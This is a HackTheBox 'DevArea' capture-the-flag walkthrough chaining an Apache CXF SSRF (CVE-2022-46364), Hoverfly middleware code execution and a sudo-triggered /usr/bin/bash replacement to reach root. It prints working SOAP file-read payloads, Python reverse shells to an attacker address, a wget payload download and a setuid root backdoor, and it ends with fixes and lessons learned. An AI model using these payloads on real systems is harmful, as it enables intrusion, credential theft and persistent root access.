DevArea htb Walkthrough

A complete HackTheBox DevArea walkthrough covering FTP enumeration, Apache CXF SSRF (CVE-2022-46364), credential extraction, Hoverfly RCE (CVE-2025-54123), and privilege escalation to root. This guide explains the full attack chain with real exploitation steps and practical red team insights.

Reconnaissance — Scanning the Target

🔍 What is this step?

First, we scan the target machine — to find out which ports are open and what services are running on them. We use the Nmap tool for this. Think of it as taking an "X-ray" of the machine.

1
Initial Nmap Scan

First, we run the nmap command against the target machine. The -sV flag detects service versions and the -sC flag runs default scripts.

Terminal
nmap -sV -sC devarea.htb # -sV → Service Version Detection (identifies what's running on each port) # -sC → Default NSE Scripts (checks for common vulnerabilities)
2
Scan Results — Open Ports

After scanning, we found these 6 open ports. Each port is running a different service:

21
FTP
File Transfer Protocol — for uploading/downloading files
22
SSH
Secure Shell — for remote login (useful if credentials are found)
80
HTTP
Web Server — a website accessible via browser
8080
HTTP-Proxy
Java app — Apache CXF SOAP service is running here 🎯
8500
FMTP
Hoverfly Proxy — proxy port of the API simulation tool
8888
Sun-Answerbook
Hoverfly Admin API — the control interface for Hoverfly
🔄 Reconnaissance Flow Diagram
🖥️ Attacker Machine
nmap -sV -sC devarea.htb
🎯 Target: devarea.htb
6 open ports discovered
:21 FTP
:22 SSH
:80 HTTP
:8080 SOAP
:8500 Proxy
:8888 API
Ports 8080, 8500, 8888 → Interesting! Further enumeration needed
⚡ Key Insight

Port 8080 is running an Apache CXF SOAP service — a Java-based web service framework. Ports 8500 and 8888 are running Hoverfly, an API simulation tool. All three ports can serve as our attack entry points.

Vulnerability Discovery

1
SOAP Service Analysis

First, we explored the SOAP service running on port 8080. Opening http://devarea.htb:8080/employeeservice?wsdl in a browser gives us the WSDL file — an XML file that describes which functions are available in this service.

📖 What is WSDL?

WSDL (Web Services Description Language) is an XML-based file that acts as the "menu card" for a SOAP web service. It lists which operations the service supports, what input is required, and what output to expect. For a hacker, this is a goldmine — it tells you exactly how to interact with the service.

In the WSDL, we found a function — submitReport:

XML — WSDL Structure
<wsdl:operation name="submitReport"> <wsdl:input message="tns:submitReport"/> <wsdl:output message="tns:submitReportResponse"/> </wsdl:operation> <!-- This function submits an employee report --> <!-- The "content" field inside can include file contents -->
2
CVE-2022-46364 — Apache CXF SSRF

Research revealed that this service is running Apache CXF version 3.2.14, which is affected by a known vulnerability — CVE-2022-46364.

🚨 What is CVE-2022-46364?

This is an SSRF (Server-Side Request Forgery) vulnerability. It means we can make the server read local files or communicate with internal services on our behalf. This is done by abusing the MTOM/XOP Include feature — by inserting a special XML tag in the SOAP request that tells the server to "include the content of this file."

📖 What is SSRF? (Simple analogy)

Imagine a shop assistant (server). Normally they only process orders from outside. With SSRF, you tell them: "Hey, go to the back room, grab a file from the safe, and bring its contents to me." The assistant goes, reads the file, and sends you the content. You've effectively turned the server into your proxy to do your bidding.

3
SSRF Exploit — Local File Read

We crafted a malicious SOAP request using MTOM/XOP Include to attempt reading a local file from the server. First, we read /etc/passwd to confirm the vulnerability works.

XML — Malicious SOAP Request
<!-- This is a multipart MIME request --> --MIME_boundary Content-Type: text/xml; charset=UTF-8 Content-Transfer-Encoding: binary <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <submitReport xmlns="http://devarea.htb/"> <arg0> <employeeName>test</employeeName> <department>test</department> <content> <!-- 🎯 THIS LINE IS THE KEY: --> <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/> <!-- href="file:///etc/passwd" → we're telling the server to include the content of the /etc/passwd file --> </content> </arg0> </submitReport> </soap:Body> </soap:Envelope> --MIME_boundary--
✅ What each line means:

<xop:Include href="file:///etc/passwd"/> — This is the most critical line. It tells the server: "Put the data from this local file into the content field." The server blindly obeys and returns the contents of /etc/passwd in the response. We can now read any file on the system!

4
Hoverfly Credentials Extraction

Now that we have SSRF — we can read sensitive files from the server. We read the Hoverfly service file:

File Read via SSRF
# Changed the href in the SSRF exploit to: href="file:///etc/systemd/system/hoverfly.service" # This is the systemd service file — it tells us how # Hoverfly starts and what credentials it uses

The response contained the credentials:

Extracted Credentials
# Credentials are hardcoded in the Hoverfly service startup command! ExecStart=/opt/HoverFly/hoverfly -add \ -username admin \ -password O7IJ27MyyXiU \ -listen-on-host 0.0.0.0 # Username: admin # Password: O7IJ27MyyXiU # 🎯 These credentials will work on the Hoverfly admin panel!
⚠️ Security Mistake

Hardcoding credentials in a service file is a major security risk. Ideally, credentials should be stored in environment variables or a secrets manager (like HashiCorp Vault). In this case, an attacker read the file via SSRF and gained admin access.

🔄 SSRF Attack Flow Diagram
🖥️ Attacker
Malicious SOAP request with XOP Include
:8080 Apache CXF SOAP Service
Server processes XOP Include → reads local file
📄 file:///etc/systemd/system/hoverfly.service
File content returned in SOAP response
🔑 Credentials: admin / O7IJ27MyyXiU

Initial Access — User Flag

1
Hoverfly Authentication — JWT Token

Now we need to gain admin access to Hoverfly. The Hoverfly admin API runs on port 8888. We log in first to obtain a JWT Token:

📖 What is a JWT Token?

A JWT (JSON Web Token) is a kind of "digital pass." When you log in, the server gives you a token. You include this token in every subsequent request — the server sees it and says "yes, this person is authorized" and processes the request. Think of it like a cinema ticket — buy it once, show it every time you want to enter.

Terminal — Login Request
curl -X POST http://devarea.htb:8888/api/token-auth \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"O7IJ27MyyXiU"}' # curl → tool for sending HTTP requests # -X POST → use POST method (we're sending data) # -H → set header (content type is JSON) # -d → send body data (username + password)

The response contains our JWT token:

Response
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."} # ✅ Login successful! This token will be used in every subsequent request
2
Malicious Middleware Setup — Reverse Shell

Hoverfly has a feature called Middleware. This feature allows custom code to run before processing API requests. We will abuse this to set up a reverse shell.

🚨 What is a Reverse Shell?

In normal SSH, you connect to the server. With a reverse shell, the server connects to you. This is used when the server is behind a firewall — you tell the server "connect back to my machine" and then you can control its terminal. Essentially, the server sends its shell to you.

Terminal — Setting Malicious Middleware
# Store JWT token in a variable TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Set the middleware via the Hoverfly API curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "binary": "python3", "script": "import socket,subprocess,os; s=socket.socket(); s.connect((\"10.10.14.XXX\",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call([\"/bin/sh\",\"-i\"])" }' # 🔍 Line by line explanation: # "binary": "python3" → the script runs using Python3 # socket.socket() → create a network connection # s.connect(("10.10.14.XXX", 4444)) → connect to attacker's machine # os.dup2() → redirect stdin/stdout/stderr to the socket # subprocess.call(["/bin/sh","-i"]) → start an interactive shell # # Meaning: when this middleware runs, the server will send its shell # back to our machine on port 4444! 🎯
3
Triggering the Reverse Shell

Now we need to do 2 things: (1) Put Hoverfly into synthesize mode so the middleware executes, and (2) trigger a request via SSRF that routes through the Hoverfly proxy.

Terminal — Trigger Steps
# Step A: Put Hoverfly into synthesize mode curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/mode \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"mode":"synthesize"}' # synthesize mode → middleware will execute on every incoming request # Step B: Trigger request via SSRF (using the CXF vulnerability) curl -X POST http://devarea.htb:8080/employeeservice \ -H "Content-Type: multipart/related; boundary=MIME_boundary" \ --data-binary @trigger.xml # This request goes to the SOAP service # SSRF vulnerability redirects it through the Hoverfly proxy # Hoverfly middleware executes → REVERSE SHELL! 🎯
4
Getting the Shell & User Flag

Start a listener on your machine to receive the incoming connection:

Terminal — Attacker Machine (Listener)
nc -lvnp 4444 # nc → Netcat (the Swiss army knife of networking) # -l → Listen mode (wait for incoming connections) # -v → Verbose (show details) # -n → No DNS lookup # -p 4444 → Listen on port 4444 # When the middleware triggers, we receive a connection here: Connection received from 10.10.11.XXX dev_ryan@devarea:~$ whoami dev_ryan dev_ryan@devarea:~$ cat user.txt [USER_FLAG_REDACTED]
🏁 USER FLAG CAPTURED — dev_ryan
🔄 Complete User Flag Attack Flow
🖥️ Attacker
nc -lvnp 4444
↑ Reverse Shell Connection ↑
🎯 Target: devarea.htb
Trigger chain begins
:8080 SOAP
SSRF Trigger
:8500 Hoverfly Proxy
Request proxied
Middleware
Python3 reverse shell
✅ Shell as dev_ryan → user.txt

Privilege Escalation — Root Flag

🎯 What's the goal?

Right now we are the dev_ryan user — with limited permissions. We need to become root — meaning full control of the system. To do this, we need to find a vulnerability or misconfiguration that leads us to root.

1
Exploring sudo Privileges

First — check what we can run with sudo:

Terminal — dev_ryan shell
dev_ryan@devarea:~$ sudo -l # sudo -l → list what the current user can run with sudo User dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart # 🔍 What this means: # ✅ Can run syswatch.sh as root (without a password!) # ❌ The "web-stop" argument is NOT allowed # ❌ The "web-restart" argument is NOT allowed # ✅ All other arguments are allowed (e.g., --version)
📖 What is sudo?

sudo (Super User Do) is a Linux command that temporarily grants you root (admin) privileges for a specific command. NOPASSWD means it won't even ask for a password — it will run directly as root! This is a major misconfiguration.

2
Web GUI Credentials Discovery

SysWatch also has a web interface. Let's check its config file:

Terminal
dev_ryan@devarea:~$ cat /etc/syswatch.env SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725 SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026 SYSWATCH_LOG_DIR=/opt/syswatch/logs SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins SYSWATCH_BACKUP_DIR=/opt/syswatch/backup SYSWATCH_VERSION=1.0.0 # 🎯 Admin password found: SyswatchAdmin2026 # Web GUI is on port 7777 — credentials: admin:SyswatchAdmin2026
⚠️ The same mistake again!

Another config file with a plaintext password readable by any user. This file should have been chmod 600 and accessible only by root.

3
Understanding the Bash Replacement Exploit

Now comes the cleverest part. When the syswatch.sh script runs via sudo, it internally executes bash commands — meaning it uses /usr/bin/bash.

The idea: If we replace /usr/bin/bash with our malicious script, then when sudo syswatch.sh runs, it will execute our script as root!

🧠 Exploit Logic (Step by Step)

1. Backup: First, copy the real bash to a safe location
2. Payload: Create a script that copies the root flag and creates a setuid binary
3. Replace: Overwrite /usr/bin/bash with our payload
4. Trigger: Run sudo syswatch.sh --version — it runs as root and executes our payload
5. Profit: Root flag obtained + persistent root access via setuid binary

4
Creating the Payload
payload.sh — Malicious Script
#!/tmp/bash.bak # ↑ Shebang — this script will run using the real bash (our backup) # 1️⃣ Copy the root flag to a readable location cat /root/root.txt > /tmp/root.txt chmod 777 /tmp/root.txt # chmod 777 → give read/write/execute permission to everyone # 2️⃣ Create a setuid bash binary (persistent root access) cp /tmp/bash.bak /tmp/rootbash chmod +s /tmp/rootbash # chmod +s → set the SetUID bit # This means: whoever runs this binary, it executes as root! # 3️⃣ Restore the real bash (so the system doesn't crash) cp /tmp/bash.bak /usr/bin/bash # 4️⃣ Execute the original command using the real bash exec /tmp/bash.bak "$@" # "$@" → forward all original arguments
📖 What is the SetUID bit?

Normally when you run a program, it runs with your user permissions. When the SetUID bit is set on a binary (chmod +s), the binary runs with the permissions of whoever owns it. If the owner is root, then any user who runs it — it executes as root. This is the best method for a persistent backdoor.

5
Executing the Attack (Multi-Terminal)

This attack requires 3 terminals. This is because we need to kill all bash processes before replacing /usr/bin/bash, and for that we need a dash shell (which doesn't depend on bash).

🖥️ Multi-Terminal Attack Setup
Terminal 1
HTTP Server
python3 -m http.server 80
Terminal 2
Bash Shell (Port 4444)
nc -lvnp 4444
Terminal 3
Dash Shell (Port 9002)
nc -lvnp 9002

In Terminal 2 (Bash shell):

Terminal 2 — dev_ryan Bash Shell
# 1️⃣ Backup the real bash cp /usr/bin/bash /tmp/bash.bak # 2️⃣ Download the payload from attacker's machine wget http://10.10.14.XXX/payload.sh -O /tmp/payload.sh chmod +x /tmp/payload.sh # 3️⃣ Get a new reverse shell (dash shell) on port 9002 python3 -c "import socket,subprocess,os; s=socket.socket(); s.connect(('10.10.14.XXX',9002)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/dash','-i'])" # ⚠️ Note: /bin/dash is used — not bash! # Because we are about to replace bash

In Terminal 3 (Dash shell) — this is the crucial step:

Terminal 3 — Dash Shell (Final Attack)
# 1️⃣ Kill all bash processes kill -9 $(pgrep -x bash) 2>/dev/null # Because bash is running, we can't replace it yet # 2️⃣ Replace /usr/bin/bash with our payload dd if=/tmp/payload.sh of=/usr/bin/bash # dd → disk dump, copies file byte-by-byte # if = input file (our payload) # of = output file (/usr/bin/bash — the real bash is now replaced!) # 3️⃣ BOOM! Trigger sudo with syswatch sudo /opt/syswatch/syswatch.sh --version # This runs as ROOT # syswatch.sh internally calls bash # bash is now our payload → ROOT CODE EXECUTION! 🎯 # 4️⃣ Read the root flag! cat /tmp/root.txt [ROOT_FLAG_REDACTED]
🏴 ROOT FLAG CAPTURED!
6
Persistent Root Access via SetUID

Our payload also created a setuid root bash — we can become root at any time:

Terminal — Persistent Root
dev_ryan@devarea:~$ ls -la /tmp/rootbash -rwsr-sr-x 1 root root 1234567 Mar 28 19:45 /tmp/rootbash # ↑ 's' flag → SetUID bit is set! dev_ryan@devarea:~$ /tmp/rootbash -p # -p → privilege mode (respects the setuid bit) root@devarea:/home/dev_ryan# whoami root # 🎉 We are now permanently root!
🔄 Complete Privilege Escalation Flow
dev_ryan (normal user)
sudo -l → can run syswatch.sh as root
Read config file → found SysWatch credentials
syswatch.sh internally uses bash
Created payload to copy root flag
3 terminal setup: HTTP server + bash shell + dash shell
/usr/bin/bash → Replaced with payload
sudo syswatch.sh --version → triggers payload as root
🏴 ROOT! → /tmp/root.txt + /tmp/rootbash (persistent)

Exploitation Timeline

Phase 1 — 5 min
Reconnaissance with Nmap
Scanned the target machine, discovered 6 open ports
Phase 2 — 10 min
SOAP Service Discovery
Found Apache CXF SOAP service on port 8080, analyzed the WSDL
Phase 3 — 15 min
SSRF Exploitation (CVE-2022-46364)
Read local files via MTOM/XOP Include, extracted Hoverfly credentials
Phase 4 — 10 min
Hoverfly Middleware Setup
Obtained JWT token, set up malicious middleware with reverse shell
Phase 5 — 5 min
User Shell Obtained
Reverse shell as dev_ryan, read user.txt
Phase 6 — 5 min
sudo Privilege Enumeration
sudo -l revealed syswatch.sh can be run as root
Phase 7 — 5 min
Web GUI Credential Discovery
Extracted admin password from /etc/syswatch.env
Phase 8 — 10 min
Payload Creation
Created bash replacement payload to copy root flag
Phase 9 — 10 min
Bash Replacement Exploit
Multi-terminal setup, replaced bash, triggered sudo
Phase 10 — 5 min
Root Flag Obtained 🏴
Read root.txt + persistent access via setuid rootbash

Total Time: ~80 minutes

Vulnerabilities & Lessons Learned

High

Apache CXF SSRF

CVE-2022-46364 — Local file read via MTOM/XOP Include. Fix: Update CXF to version 3.4.6+.

Critical

Hoverfly Middleware RCE

Arbitrary code execution via middleware. Fix: Restrict middleware access, authenticate the API.

High

Sudo Misconfiguration

NOPASSWD allowed running the script as root. Fix: Restrict specific arguments, require a password.

Critical

Bash Binary Replacement

Root RCE by replacing /usr/bin/bash. Fix: Protect system binaries using chattr +i.

🧠 Key Takeaways

1. Chain Exploitation: Small vulnerabilities were combined to form a major attack — SSRF gave credentials, credentials gave RCE, RCE gave user access, and sudo misconfiguration gave root.

2. Hardcoded Credentials: Both locations (Hoverfly service file and syswatch.env) had credentials in plaintext — never store credentials in config files.

3. Defense in Depth: A single security layer is not enough — multiple layers are required. Without SSRF there would be no credentials; without unrestricted middleware there would be no RCE.

4. System Binary Protection: Critical binaries like /usr/bin/bash should be made immutable using chattr +i to prevent replacement.

5. Monitoring: Monitoring sudo usage, binary modifications, and unusual network connections would have detected this attack.

Complete Attack Map

🗺️ Full Exploitation Chain — Start to Root
🖥️ ATTACKER MACHINE
Kali Linux / Parrot OS
Phase 1: Recon
nmap -sV -sC devarea.htb
6 open ports discovered
Phase 2: SSRF Exploitation
:8080 SOAP → MTOM/XOP Include
CVE-2022-46364
Read: hoverfly.service
🔑 Credentials Extracted
admin : O7IJ27MyyXiU
Phase 3: Initial Access
:8888 Hoverfly → JWT Token
Login with stolen creds
Middleware → Python3 Reverse Shell
Trigger via SSRF → Proxy → Execute
Phase 4: User Flag
🏁 Shell as dev_ryan
cat user.txt → USER_FLAG
Phase 5: Privilege Escalation
sudo -l → syswatch.sh (NOPASSWD)
/etc/syswatch.env → more creds
Bash Binary Replacement
/usr/bin/bash → payload.sh
sudo syswatch.sh --version
Triggers payload as ROOT
Phase 6: Victory
🏴 ROOT FLAG CAPTURED
+ SetUID rootbash for persistence
Reactions

Related Articles